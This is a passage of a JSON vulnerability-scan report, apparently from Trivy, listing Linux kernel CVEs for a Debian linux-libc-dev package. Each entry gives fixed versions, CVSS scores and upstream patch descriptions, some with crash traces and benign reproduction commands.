"https://lore.kernel.org/linux-cve-announce/2025082238-CVE-2025-38656-32f1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38656", "https://www.cve.org/CVERecord?id=CVE-2025-38656" ], "PublishedDate": "2025-08-22T16:15:40.633Z", "LastModifiedDate": "2026-10-21T13:18:12.74Z" }, { "VulnerabilityID": "CVE-2025-39859", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39859", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cd93c5d4c2a58801b48defd05021d1b0bc33b14af775ed5843ce433016529ece", "Title": "kernel: ptp: ocp: fix use-after-free bugs causing by ptp_ocp_watchdog", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nptp: ocp: fix use-after-free bugs causing by ptp_ocp_watchdog\n\nThe ptp_ocp_detach() only shuts down the watchdog timer if it is\npending. However, if the timer handler is already running, the\ntimer_delete_sync() is not called. This leads to race conditions\nwhere the devlink that contains the ptp_ocp is deallocated while\nthe timer handler is still accessing it, resulting in use-after-free\nbugs. The following details one of the race scenarios.\n\n(thread 1) | (thread 2)\nptp_ocp_remove() |\n ptp_ocp_detach() | ptp_ocp_watchdog()\n if (timer_pending(\u0026bp-\u003ewatchdog))| bp = timer_container_of()\n timer_delete_sync() |\n |\n devlink_free(devlink) //free |\n | bp-\u003e //use\n\nResolve this by unconditionally calling timer_delete_sync() to ensure\nthe timer is reliably deactivated, preventing any access after free.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-39859", "https://git.kernel.org/linus/8bf935cf789872350b04c1a6468b0a509f67afb2%20%286.17-rc5%29", "https://git.kernel.org/stable/c/8bf935cf789872350b04c1a6468b0a509f67afb2", "https://git.kernel.org/stable/c/a59822a762039b6e0252f21b091245d6ad7f324b", "https://git.kernel.org/stable/c/aad70bdfc8244616e48c434310cab241a3f17781", "https://git.kernel.org/stable/c/e2a6eabe5304a789b7d40ce2576cd80154255e51", "https://git.kernel.org/stable/c/f10d3c7267ac7387a5129d5506c3c5f2460cfd9b", "https://lore.kernel.org/linux-cve-announce/2025091905-CVE-2025-39859-52d5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39859", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-39859" ], "PublishedDate": "2025-09-19T16:15:44.867Z", "LastModifiedDate": "2026-10-30T13:18:10.767Z" }, { "VulnerabilityID": "CVE-2025-39862", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39862", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f537cdc01be6d7418ab28fd1da282231eefd5829e21d1cd3b215f637d2526f34", "Title": "kernel: wifi: mt76: mt7915: fix list corruption after hardware restart", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7915: fix list corruption after hardware restart\n\nSince stations are recreated from scratch, all lists that wcids are added\nto must be cleared before calling ieee80211_restart_hw.\nSet wcid-\u003esta = 0 for each wcid entry in order to ensure that they are\nnot added again before they are ready.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-39862", "https://git.kernel.org/linus/065c79df595af21d6d1b27d642860faa1d938774%20%286.17-rc5%29", "https://git.kernel.org/stable/c/065c79df595af21d6d1b27d642860faa1d938774", "https://git.kernel.org/stable/c/6826728f9fd7e7db57cd9647932eea47cbc645c6", "https://git.kernel.org/stable/c/6d40c15d70c2dba2f68dd50e452255bfa1b016f0", "https://git.kernel.org/stable/c/8fa8eb52bc2eb08d93202863b5fc478e0bebc00c", "https://lore.kernel.org/linux-cve-announce/2025091906-CVE-2025-39862-5acb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39862", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-39862" ], "PublishedDate": "2025-09-19T16:15:45.203Z", "LastModifiedDate": "2026-10-21T13:18:15.807Z" }, { "VulnerabilityID": "CVE-2025-39958", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39958", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b815bdf79db9df22051c9a64f5c372203178a23b5e9a859c443c485cc08546cb", "Title": "kernel: iommu/s390: Make attach succeed when the device was surprise removed", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/s390: Make attach succeed when the device was surprise removed\n\nWhen a PCI device is removed with surprise hotplug, there may still be\nattempts to attach the device to the default domain as part of tear down\nvia (__iommu_release_dma_ownership()), or because the removal happens\nduring probe (__iommu_probe_device()). In both cases zpci_register_ioat()\nfails with a cc value indicating that the device handle is invalid. This\nis because the device is no longer part of the instance as far as the\nhypervisor is concerned.\n\nCurrently this leads to an error return and s390_iommu_attach_device()\nfails. This triggers the WARN_ON() in __iommu_group_set_domain_nofail()\nbecause attaching to the default domain must never fail.\n\nWith the device fenced by the hypervisor no DMAs to or from memory are\npossible and the IOMMU translations have no effect. Proceed as if the\nregistration was successful and let the hotplug event handling clean up\nthe device.\n\nThis is similar to how devices in the error state are handled since\ncommit 59bbf596791b (\"iommu/s390: Make attach succeed even if the device\nis in error state\") except that for removal the domain will not be\nregistered later. This approach was also previously discussed at the\nlink.\n\nHandle both cases, error state and removal, in a helper which checks if\nthe error needs to be propagated or ignored. Avoid magic number\ncondition codes by using the pre-existing, but never used, defines for\nPCI load/store condition codes and rename them to reflect that they\napply to all PCI instructions.", "Severity": "HIGH", "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-39958", "https://git.kernel.org/stable/c/359613f2fa009587154511e4842e8ab9532edd15", "https://git.kernel.org/stable/c/3b32cf6e279597d1b6477fb89d46abf65263c139", "https://git.kernel.org/stable/c/79fa3a19aa6114189b33e2ba1f393b0f635d7544", "https://git.kernel.org/stable/c/9ffaf5229055fcfbb3b3d6f1c7e58d63715c3f73", "https://lore.kernel.org/linux-cve-announce/2025100943-CVE-2025-39958-6e96@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39958", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-39958" ], "PublishedDate": "2025-10-09T10:15:37.867Z", "LastModifiedDate": "2026-11-05T22:17:35.643Z" }, { "VulnerabilityID": "CVE-2025-68174", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-68174", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:46da972b198b9e48dcc3c4b60d77d15c050a833741852f7056209b6c91c97fe0", "Title": "kernel: Linux kernel AMD KFD: Race condition causes system crash", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\namd/amdkfd: enhance kfd process check in switch partition\n\ncurrent switch partition only check if kfd_processes_table is empty.\nkfd_prcesses_table entry is deleted in kfd_process_notifier_release, but\nkfd_process tear down is in kfd_process_wq_release.\n\nconsider two processes:\n\nProcess A (workqueue) -\u003e kfd_process_wq_release -\u003e Access kfd_node member\nProcess B switch partition -\u003e amdgpu_xcp_pre_partition_switch -\u003e amdgpu_amdkfd_device_fini_sw\n-\u003e kfd_node tear down.\n\nProcess A and B may trigger a race as shown in dmesg log.\n\nThis patch is to resolve the race by adding an atomic kfd_process counter\nkfd_processes_count, it increment as create kfd process, decrement as\nfinish kfd_process_wq_release.\n\nv2: Put kfd_processes_count per kfd_dev, move decrement to kfd_process_destroy_pdds\nand bug fix. (Philip Yang)\n\n[3966658.307702] divide error: 0000 [#1] SMP NOPTI\n[3966658.350818] i10nm_edac\n[3966658.356318] CPU: 124 PID: 38435 Comm: kworker/124:0 Kdump: loaded Tainted\n[3966658.356890] Workqueue: kfd_process_wq kfd_process_wq_release [amdgpu]\n[3966658.362839] nfit\n[3966658.366457] RIP: 0010:kfd_get_num_sdma_engines+0x17/0x40 [amdgpu]\n[3966658.366460] Code: 00 00 e9 ac 81 02 00 66 66 2e 0f 1f 84 00 00 00 00 00 90 0f 1f 44 00 00 48 8b 4f 08 48 8b b7 00 01 00 00 8b 81 58 26 03 00 99 \u003cf7\u003e be b8 01 00 00 80 b9 70 2e 00 00 00 74 0b 83 f8 02 ba 02 00 00\n[3966658.380967] x86_pkg_temp_thermal\n[3966658.391529] RSP: 0018:ffffc900a0edfdd8 EFLAGS: 00010246\n[3966658.391531] RAX: 0000000000000008 RBX: ffff8974e593b800 RCX: ffff888645900000\n[3966658.391531] RDX: 0000000000000000 RSI: ffff888129154400 RDI: ffff888129151c00\n[3966658.391532] RBP: ffff8883ad79d400 R08: 0000000000000000 R09: ffff8890d2750af4\n[3966658.391532] R10: 0000000000000018 R11: 0000000000000018 R12: 0000000000000000\n[3966658.391533] R13: ffff8883ad79d400 R14: ffffe87ff662ba00 R15: ffff8974e593b800\n[3966658.391533] FS: 0000000000000000(0000) GS:ffff88fe7f600000(0000) knlGS:0000000000000000\n[3966658.391534] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[3966658.391534] CR2: 0000000000d71000 CR3: 000000dd0e970004 CR4: 0000000002770ee0\n[3966658.391535] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[3966658.391535] DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400\n[3966658.391536] PKRU: 55555554\n[3966658.391536] Call Trace:\n[3966658.391674] deallocate_sdma_queue+0x38/0xa0 [amdgpu]\n[3966658.391762] process_termination_cpsch+0x1ed/0x480 [amdgpu]\n[3966658.399754] intel_powerclamp\n[3966658.402831] kfd_process_dequeue_from_all_devices+0x5b/0xc0 [amdgpu]\n[3966658.402908] kfd_process_wq_release+0x1a/0x1a0 [amdgpu]\n[3966658.410516] coretemp\n[3966658.434016] process_one_work+0x1ad/0x380\n[3966658.434021] worker_thread+0x49/0x310\n[3966658.438963] kvm_intel\n[3966658.446041] ? process_one_work+0x380/0x380\n[3966658.446045] kthread+0x118/0x140\n[3966658.446047] ? __kthread_bind_mask+0x60/0x60\n[3966658.446050] ret_from_fork+0x1f/0x30\n[3966658.446053] Modules linked in: kpatch_20765354(OEK)\n[3966658.455310] kvm\n[3966658.464534] mptcp_diag xsk_diag raw_diag unix_diag af_packet_diag netlink_diag udp_diag act_pedit act_mirred act_vlan cls_flower kpatch_21951273(OEK) kpatch_18424469(OEK) kpatch_19749756(OEK)\n[3966658.473462] idxd_mdev\n[3966658.482306] kpatch_17971294(OEK) sch_ingress xt_conntrack amdgpu(OE) amdxcp(OE) amddrm_buddy(OE) amd_sched(OE) amdttm(OE) amdkcl(OE) intel_ifs iptable_mangle tcm_loop target_core_pscsi tcp_diag target_core_file inet_diag target_core_iblock target_core_user target_core_mod coldpgs kpatch_18383292(OEK) ip6table_nat ip6table_filter ip6_tables ip_set_hash_ipportip ip_set_hash_ipportnet ip_set_hash_ipport ip_set_bitmap_port xt_comment iptable_nat nf_nat iptable_filter ip_tables ip_set ip_vs_sh ip_vs_wrr ip_vs_rr ip_vs nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 sn_core_odd(OE) i40e overlay binfmt_misc tun bonding(OE) aisqos(OE) aisqo\n---truncated---", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-68174", "https://git.kernel.org/linus/45da20e00d5da842e17dfc633072b127504f0d0e%20%286.18-rc1%29", "https://git.kernel.org/stable/c/3385a1def2df45ac04a70532dfcd20d9eeac9fbb", "https://git.kernel.org/stable/c/45da20e00d5da842e17dfc633072b127504f0d0e", "https://git.kernel.org/stable/c/536d80f660ec12058e461f4db387ea42bee9250d", "https://lore.kernel.org/linux-cve-announce/2025121629-CVE-2025-68174-84da@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-68174", "https://ubuntu.com/security/notices/USN-8029-1", "https://ubuntu.com/security/notices/USN-8029-2", "https://ubuntu.com/security/notices/USN-8029-3", "https://ubuntu.com/security/notices/USN-8030-1", "https://ubuntu.com/security/notices/USN-8048-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-68174" ], "PublishedDate": "2025-12-16T14:15:49.323Z", "LastModifiedDate": "2026-10-21T13:18:20.557Z" }, { "VulnerabilityID": "CVE-2025-68175", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-68175", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:533f370f230715f63e6ae58c395a570eb7c8b3af1c61e163263cbc589220c893", "Title": "kernel: Linux kernel: Denial of service in NXP i.MX8 ISI driver via improper streaming cleanup", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: nxp: imx8-isi: Fix streaming cleanup on release\n\nThe current implementation unconditionally calls\nmxc_isi_video_cleanup_streaming() in mxc_isi_video_release(). This can\nlead to situations where any release call (like from a simple\n\"v4l2-ctl -l\") may release a currently streaming queue when called on\nsuch a device.\n\nThis is reproducible on an i.MX8MP board by streaming from an ISI\ncapture device using gstreamer:\n\n\tgst-launch-1.0 -v v4l2src device=/dev/videoX ! \\\n\t video/x-raw,format=GRAY8,width=1280,height=800,framerate=1/120 ! \\\n\t fakesink\n\nWhile this stream is running, querying the caps of the same device\nprovokes the error state:\n\n\tv4l2-ctl -l -d /dev/videoX\n\nThis results in the following trace:\n\n[ 155.452152] ------------[ cut here ]------------\n[ 155.452163] WARNING: CPU: 0 PID: 1708 at drivers/media/platform/nxp/imx8-isi/imx8-isi-pipe.c:713 mxc_isi_pipe_irq_handler+0x19c/0x1b0 [imx8_isi]\n[ 157.004248] Modules linked in: cfg80211 rpmsg_ctrl rpmsg_char rpmsg_tty virtio_rpmsg_bus rpmsg_ns rpmsg_core rfkill nft_ct nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables mcp251x6\n[ 157.053499] CPU: 0 UID: 0 PID: 1708 Comm: python3 Not tainted 6.15.4-00114-g1f61ca5cad76 #1 PREEMPT\n[ 157.064369] Hardware name: imx8mp_board_01 (DT)\n[ 157.068205] pstate: 400000c5 (nZcv daIF -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[ 157.075169] pc : mxc_isi_pipe_irq_handler+0x19c/0x1b0 [imx8_isi]\n[ 157.081195] lr : mxc_isi_pipe_irq_handler+0x38/0x1b0 [imx8_isi]\n[ 157.087126] sp : ffff800080003ee0\n[ 157.090438] x29: ffff800080003ee0 x28: ffff0000c3688000 x27: 0000000000000000\n[ 157.097580] x26: 0000000000000000 x25: ffff0000c1e7ac00 x24: ffff800081b5ad50\n[ 157.104723] x23: 00000000000000d1 x22: 0000000000000000 x21: ffff0000c25e4000\n[ 157.111866] x20: 0000000060000200 x19: ffff80007a0608d0 x18: 0000000000000000\n[ 157.119008] x17: ffff80006a4e3000 x16: ffff800080000000 x15: 0000000000000000\n[ 157.126146] x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000\n[ 157.133287] x11: 0000000000000040 x10: ffff0000c01445f0 x9 : ffff80007a053a38\n[ 157.140425] x8 : ffff0000c04004b8 x7 : 0000000000000000 x6 : 0000000000000000\n[ 157.147567] x5 : ffff0000c0400490 x4 : ffff80006a4e3000 x3 : ffff0000c25e4000\n[ 157.154706] x2 : 0000000000000000 x1 : ffff8000825c0014 x0 : 0000000060000200\n[ 157.161850] Call trace:\n[ 157.164296] mxc_isi_pipe_irq_handler+0x19c/0x1b0 [imx8_isi] (P)\n[ 157.170319] __handle_irq_event_percpu+0x58/0x218\n[ 157.175029] handle_irq_event+0x54/0xb8\n[ 157.178867] handle_fasteoi_irq+0xac/0x248\n[ 157.182968] handle_irq_desc+0x48/0x68\n[ 157.186723] generic_handle_domain_irq+0x24/0x38\n[ 157.191346] gic_handle_irq+0x54/0x120\n[ 157.195098] call_on_irq_stack+0x24/0x30\n[ 157.199027] do_interrupt_handler+0x88/0x98\n[ 157.203212] el0_interrupt+0x44/0xc0\n[ 157.206792] __el0_irq_handler_common+0x18/0x28\n[ 157.211328] el0t_64_irq_handler+0x10/0x20\n[ 157.215429] el0t_64_irq+0x198/0x1a0\n[ 157.219009] ---[ end trace 0000000000000000 ]---\n\nAddress this issue by moving the streaming preparation and cleanup to\nthe vb2 .prepare_streaming() and .unprepare_streaming() operations. This\nalso simplifies the driver by allowing direct usage of the\nvb2_ioctl_streamon() and vb2_ioctl_streamoff() helpers, and removal of\nthe manual cleanup from mxc_isi_video_release().", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-68175", "https://git.kernel.org/linus/47773031a148ad7973b809cc7723cba77eda2b42%20%286.18-rc1%29", "https://git.kernel.org/stable/c/029914306b93b37c6e7060793d2b6f76b935cfa6", "https://git.kernel.org/stable/c/47773031a148ad7973b809cc7723cba77eda2b42", "https://git.kernel.org/stable/c/6776866cffbc243de4255f7c31a367d7cb8e6f4d", "https://git.kernel.org/stable/c/a2008925ed7361d69f92f63f0a779c300432610a", "https://lore.kernel.org/linux-cve-announce/2025121629-CVE-2025-68175-d545@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-68175", "https://ubuntu.com/security/notices/USN-8029-1", "https://ubuntu.com/security/notices/USN-8029-2", "https://ubuntu.com/security/notices/USN-8029-3", "https://ubuntu.com/security/notices/USN-8030-1", "https://ubuntu.com/security/notices/USN-8048-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2025-68175" ], "PublishedDate": "2025-12-16T14:15:49.433Z", "LastModifiedDate": "2026-10-21T13:18:20.747Z" }, { "VulnerabilityID": "CVE-2025-68735", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-68735", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d4effcf6244d25bac73ab8ee758f9f006c02fd83fc9c51c1cf416e79d2c4f426", "Title": "kernel: Kernel: Privilege escalation via use-after-free in drm/panthor", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/panthor: Prevent potential UAF in group creation\n\nThis commit prevents the possibility of a use after free issue in the\nGROUP_CREATE ioctl function, which arose as pointer to the group is\naccessed in that ioctl function after storing it in the Xarray.\nA malicious userspace can second guess the handle of a group and try\nto call GROUP_DESTROY ioctl from another thread around the same time\nas GROUP_CREATE ioctl.\n\nTo prevent the use after free exploit, this commit uses a mark on an\nentry of group pool Xarray which is added just before returning from\nthe GROUP_CREATE ioctl function. The mark is checked for all ioctls\nthat specify the group handle and so userspace won't be abe to delete\na group that isn't marked yet.\n\nv2: Add R-bs and fixes tags", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-68735", "https://git.kernel.org/stable/c/c646ebff3fa571e7ea974235286fb9ed3edc260c", "https://git.kernel.org/stable/c/c6bbec068a9accd6f1df05f3df9a5254c99292ee", "https://git.kernel.org/stable/c/deb8b2491f6b9882ae02d7dc2651c7bf4f3b7e05", "https://git.kernel.org/stable/c/eec7e23d848d2194dd8791fcd0f4a54d4378eecd", "https://lore.kernel.org/linux-cve-announce/2025122410-CVE-2025-68735-dce5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-68735", "https://ubuntu.com/security/notices/USN-8094-1", "https://ubuntu.com/security/notices/USN-8094-2", "https://ubuntu.com/security/notices/USN-8094-3", "https://ubuntu.com/security/notices/USN-8094-4", "https://ubuntu.com/security/notices/USN-8094-5", "https://ubuntu.com/security/notices/USN-8152-1", "https://www.cve.org/CVERecord?id=CVE-2025-68735" ], "PublishedDate": "2025-12-24T13:16:28.44Z", "LastModifiedDate": "2026-10-21T13:18:24.103Z" }, { "VulnerabilityID": "CVE-2025-71152", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-71152", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b31de248eb303f1abeb760e00629bd975b83400569a1b7731983b8bfc8a4549b", "Title": "kernel: net: dsa: properly keep track of conduit reference", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: properly keep track of conduit reference\n\nProblem description\n-------------------\n\nDSA has a mumbo-jumbo of reference handling of the conduit net device\nand its kobject which, sadly, is just wrong and doesn't make sense.\n\nThere are two distinct problems.\n\n1. The OF path, which uses of_find_net_device_by_node(), never releases\n the elevated refcount on the conduit's kobject. Nominally, the OF and\n non-OF paths should result in objects having identical reference\n counts taken, and it is already suspicious that\n dsa_dev_to_net_device() has a put_device() call which is missing in\n dsa_port_parse_of(), but we can actually even verify that an issue\n exists. With CONFIG_DEBUG_KOBJECT_RELEASE=y, if we run this command\n \"before\" and \"after\" applying this patch:\n\n(unbind the conduit driver for net device eno2)\necho 0000:00:00.2 \u003e /sys/bus/pci/drivers/fsl_enetc/unbind\n\nwe see these lines in the output diff which appear only with the patch\napplied:\n\nkobject: 'eno2' (ffff002009a3a6b8): kobject_release, parent 0000000000000000 (delayed 1000)\nkobject: '109' (ffff0020099d59a0): kobject_release, parent 0000000000000000 (delayed 1000)\n\n2. After we find the conduit interface one way (OF) or another (non-OF),\n it can get unregistered at any time, and DSA remains with a long-lived,\n but in this case stale, cpu_dp-\u003econduit pointer. Holding the net\n device's underlying kobject isn't actually of much help, it just\n prevents it from being freed (but we never need that kobject\n directly). What helps us to prevent the net device from being\n unregistered is the parallel netdev reference mechanism (dev_hold()\n and dev_put()).\n\nActually we actually use that netdev tracker mechanism implicitly on\nuser ports since commit 2f1e8ea726e9 (\"net: dsa: link interfaces with\nthe DSA master to get rid of lockdep warnings\"), via netdev_upper_dev_link().\nBut time still passes at DSA switch probe time between the initial\nof_find_net_device_by_node() code and the user port creation time, time\nduring which the conduit could unregister itself and DSA wouldn't know\nabout it.\n\nSo we have to run of_find_net_device_by_node() under rtnl_lock() to\nprevent that from happening, and release the lock only with the netdev\ntracker having acquired the reference.\n\nDo we need to keep the reference until dsa_unregister_switch() /\ndsa_switch_shutdown()?\n1: Maybe yes. A switch device will still be registered even if all user\n ports failed to probe, see commit 86f8b1c01a0a (\"net: dsa: Do not\n make user port errors fatal\"), and the cpu_dp-\u003econduit pointers\n remain valid. I haven't audited all call paths to see whether they\n will actually use the conduit in lack of any user port, but if they\n do, it seems safer to not rely on user ports for that reference.\n2. Definitely yes. We support changing the conduit which a user port is\n associated to, and we can get into a situation where we've moved all\n user ports away from a conduit, thus no longer hold any reference to\n it via the net device tracker. But we shouldn't let it go nonetheless\n - see the next change in relation to dsa_tree_find_first_conduit()\n and LAG conduits which disappear.\n We have to be prepared to return to the physical conduit, so the CPU\n port must explicitly keep another reference to it. This is also to\n say: the user ports and their CPU ports may not always keep a\n reference to the same conduit net device, and both are needed.\n\nAs for the conduit's kobject for the /sys/class/net/ entry, we don't\ncare about it, we can release it as soon as we hold the net device\nobject itself.\n\nHistory and blame attribution\n-----------------------------\n\nThe code has been refactored so many times, it is very difficult to\nfollow and properly attribute a blame, but I'll try to make a short\nhistory which I hope to be correct.\n\nWe have two distinct probing paths:\n- one for OF, introduced in 2016 i\n---truncated---", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-71152", 